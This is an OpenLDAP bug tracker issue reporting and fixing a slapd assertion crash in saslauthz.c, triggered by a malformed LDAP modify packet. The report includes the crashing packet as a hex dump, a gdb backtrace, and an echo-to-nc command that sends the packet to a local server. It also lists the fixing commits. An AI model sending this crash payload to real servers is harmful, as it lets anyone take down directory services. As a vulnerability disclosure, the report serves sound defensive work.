Issue 9406 - Assertion failure in OpenLDAP: slapd v2.X - saslauthz.c:authzPrettyNormal:814

Status: VERIFIED FIXED

Alias: None

Product: OpenLDAP
Component: slapd (show other issues)
Version: unspecified
Hardware: All All

Importance: --- normal
Target Milestone: 2.4.57
Assignee: OpenLDAP project

URL:
Keywords:

Depends on:
Blocks:

Reported: 2020-11-27 09:58 UTC by phasip
Modified: 2021-01-18 20:05 UTC (History)
CC List: 0 users

See Also:

Attachments

Add an attachment (proposed patch, testcase, etc.)

Note

You need to log in before you can comment on or make changes to this issue.

phasip **2020-11-27 09:58:00 UTC** Description

```
A malicious packet can force OpenLDAP to fail an assertion and crash.
slapd: saslauthz.c:814: authzPrettyNormal: Assertion `ludp->lud_dn != NULL' failed.

Packet:
00000000: 3036 0201 3066 3030 0030 0930 0130 0100  06..0f00.0.0.0..
00000010: 3011 300b 7361 736c 4175 7468 7a54 6f30  0.0.saslAuthzTo0
00000020: 1730 156c 6461 703a 2f2f 0030 3030 3030  .0.ldap://.00000
00000030: 3030 3030 3030 3030                      00000000

Gdb output:
    gdb /openldap/servers/slapd/fuzzing.debug -ex 'set args < minimized_crashA'
    GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
    Copyright (C) 2020 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.
    Type "show copying" and "show warranty" for details.
    This GDB was configured as "x86_64-linux-gnu".
    Type "show configuration" for configuration details.
    For bug reporting instructions, please see:
    <http://www.gnu.org/software/gdb/bugs/>.
    Find the GDB manual and other documentation resources online at:
        <http://www.gnu.org/software/gdb/documentation/>.

    For help, type "help".
    Type "apropos word" to search for commands related to "word"...
    Reading symbols from /openldap/servers/slapd/fuzzing.debug...
    (gdb) run
    Starting program: /openldap/servers/slapd/fuzzing.debug < minimized_crashA
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    5fc0c7b4 daemon_init: ldapi://%2Ftmp%2Fldapi
    5fc0c7b4 mdb_db_open: "dc=example,dc=org"
    5fc0c7b4 daemon: epoll_ctl(ADD,fd=10) failed, errno=1, shutting down
    5fc0c7b4 connection_get(10)
    5fc0c7b4 conn=1000 op=0 do_modify: dn ()
    5fc0c7b4 conn=1000 op=0 modifications:
    5fc0c7b4    add: saslAuthzTo
    5fc0c7b4            one value, length 21
    fuzzing.debug: saslauthz.c:814: authzPrettyNormal: Assertion `ludp->lud_dn !=
NULL' failed.

    Program received signal SIGABRT, Aborted.
    0x00007ffff7dea18b in raise () from /lib/x86_64-linux-gnu/libc.so.6
    (gdb) bt
    #0  0x00007ffff7dea18b in raise () from /lib/x86_64-linux-gnu/libc.so.6
    #1  0x00007ffff7dc9859 in abort () from /lib/x86_64-linux-gnu/libc.so.6
    #2  0x00007ffff7dc9729 in ?? () from /lib/x86_64-linux-gnu/libc.so.6
    #3  0x00007ffff7ddaf36 in __assert_fail () from /lib/x86_64-linux-gnu/libc.so.6
    #4  0x00005555555fcac6 in authzPrettyNormal (val=0x555555aab970,
normalized=0x7fffffffd380, ctx=0x0, normalize=0) at saslauthz.c:814
    #5  0x00005555555fce73 in authzPretty (syntax=0x555555801640,
val=0x555555aab970, out=0x7fffffffd380, ctx=0x0) at saslauthz.c:897
    #6  0x00005555555ba3bc in ordered_value_pretty (ad=0x555555810fb0,
val=0x555555aab970, out=0x7fffffffd380, ctx=0x0) at value.c:511
    #7  0x00005555555b3eec in slap_mods_check (op=0x5555559ab4f0,
ml=0x555555aab9c0, text=0x7fffffffe490, textbuf=0x7fffffffd3f0 "saslAuthzTo",
textlen=256, ctx=0x0) at modify.c:574
    #8  0x00005555555b2eb8 in do_modify (op=0x5555559ab4f0, rs=0x7fffffffe470) at
```

```
modify.c:165
    #9  0x0000555555591cc0 in connection_operation (ctx=0x5555557fa5a0
<ldap_int_main_thrctx>, arg_v=0x5555559ab4f0) at connection.c:1163
    #10 0x00005555555923e9 in connection_read_thread (ctx=0x5555557fa5a0
<ldap_int_main_thrctx>, argv=0xa) at connection.c:1318
    #11 0x0000555555565c9b in main (argc=1, argv=0x7fffffffe6b8) at fuzzing.c:100
    (gdb)

Testing (also works on latest build from source):
    (Term1) # docker run -it --net=host bitnami/openldap
    (Term2) # echo -e
"\x30\x36\x02\x01\x30\x66\x30\x30\x00\x30\x09\x30\x01\x30\x01\x00\x30\x11\x30\x0b\x73\x61\x73\x6c\x41\x75\x74\x68\x7a\x54\x6f\x30\x17\x30\
| nc localhost 1389

Bugfix:
    Return with error instead
```

Howard Chu **2020-11-27 14:41:02 UTC** Comment 1

(In reply to phasip from comment #0)

```
> A malicious packet can force OpenLDAP to fail an assertion and crash.
> slapd: saslauthz.c:814: authzPrettyNormal: Assertion `ludp->lud_dn != NULL'
> failed.


> Bugfix:
>     Return with error instead
```

Fixed in git master with #9407.

Quanah Gibson-Mount **2020-12-02 21:54:07 UTC** Comment 2

trunk:

Commits:
  • fa0f9754
by Howard Chu at 2020-11-27T14:37:10+00:00
ITS#9406, #9407 remove saslauthz asserts

Commits:
  • 5c27f956
by Howard Chu at 2020-11-27T14:48:26+00:00
ITS#9406 fix debug msg

RE24:

  • 6ed057b5
by Howard Chu at 2020-12-02T21:33:02+00:00
ITS#9406, #9407 remove saslauthz asserts

  • 02dfc32d
by Howard Chu at 2020-12-02T21:34:33+00:00
ITS#9406 fix debug msg

Format For Printing - XML - Clone This Issue - Top of page